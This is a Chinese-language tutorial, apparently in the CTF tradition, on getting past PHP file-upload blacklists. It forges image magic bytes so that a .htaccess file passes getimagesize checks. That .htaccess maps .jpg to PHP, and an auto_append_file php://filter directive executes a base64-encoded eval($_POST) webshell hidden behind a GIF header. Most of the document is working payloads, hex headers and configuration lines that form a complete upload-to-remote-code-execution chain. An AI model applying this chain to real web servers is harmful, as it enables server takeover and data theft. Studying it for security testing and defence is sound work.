前言
在很多时候有限制文件上传的类型,而黑名单ban了很多相关的后缀,如果没有警用.htaccee那么就能触发getshell
.htaccess可以把.jpg解析成php
语法
AddType application/x-httpd-php .jpg
PHP5
图像相关的信息检测常用getimagesize( )函数,那么对于.htaccess文件来说,注释有#和%00这2个符号,图片头没有#,但是有%00的文件
比如
jp2 格式如下
00 00 00 0c 6a 50 20 20 0d 0a 87 0a(必须)

在图中width是C6
hight是6F,修改对应位置的值即可返回对应的长度
ico格式如下
00 00 01 00(必须) 01 00 20 20 (32 * 32的大小) 00 00 01 00 20 00 a8 10 00 00 16 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 01 20
所以如果不限制大小可以在.htaccess文件面前加上
aaaaaa
然后用winhex改成
00 00 01 00 0a 0d
bwmp格式如下
00 00 01 01
表示width为1, hight为1
00 00 8A 39 8A 39
表示width为1337, hight为1337
如果大小值>80,那么就会取2位,否则只会取1位
有了上面的几种情况就可以上传.htaccess文件,并符合其语法

接下来上传个图片马即可

然后直接访问图片就被解析成php代码了

PHP7以后
有时候有这种情况把<?给waf了,在php7之前可以按上面的<script language>来达到绕过<?php这种情况,但是在php7之后这些标签都是被移除了,因此可以靠base64解码来达到目的
<?php eval($_POST[1]); ?>
base64编码后
PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==
加上文件头,这里用wbmp
00 00 01 01
因为base64是4个一组,而上面的wbmp头文件刚好4个字节,所以不用补充,如果是png则需要补充很多...
这里4个字节的图片头建议用gif,刚好4个字节
47 49 46 38
所以形成1.gif的base64为
GIF8D9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==
接下来.htaccess的格式是
00 00 01 01(进hex进制里面修改下)
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/read=convert.base64-decode/resource=1.gif"
这里有个2个坑
坑1:因为是黑名单,如果上传的文件是能被服务器解析的比如jpg能被解析成图片而.abc这样的后缀不会被解析,这里有个区别
.jpg这种能被解析的文件,在被文件包含时文件头要和扩展名一致才能解析
.abc这种不会被解析的文件,在被文件包含时文件头任意即可
坑2:在Server API为CGI/FastCGI 时以上的.htaccess脚本是报500错的,我在windows下的phpstudy就是这种解析方式。
但是在linux下一般情况是Server API为Apache 2.0 Handler ,因此以上的.htaccess是能够被解析的
参考链接:
https://xz.aliyun.com/t/3937?tdsourcetag=s_pcqq_aiomsg
https://www.xctf.org.cn/library/details/0c94ff6b44aa5798c34237788e04bd12eca90313/
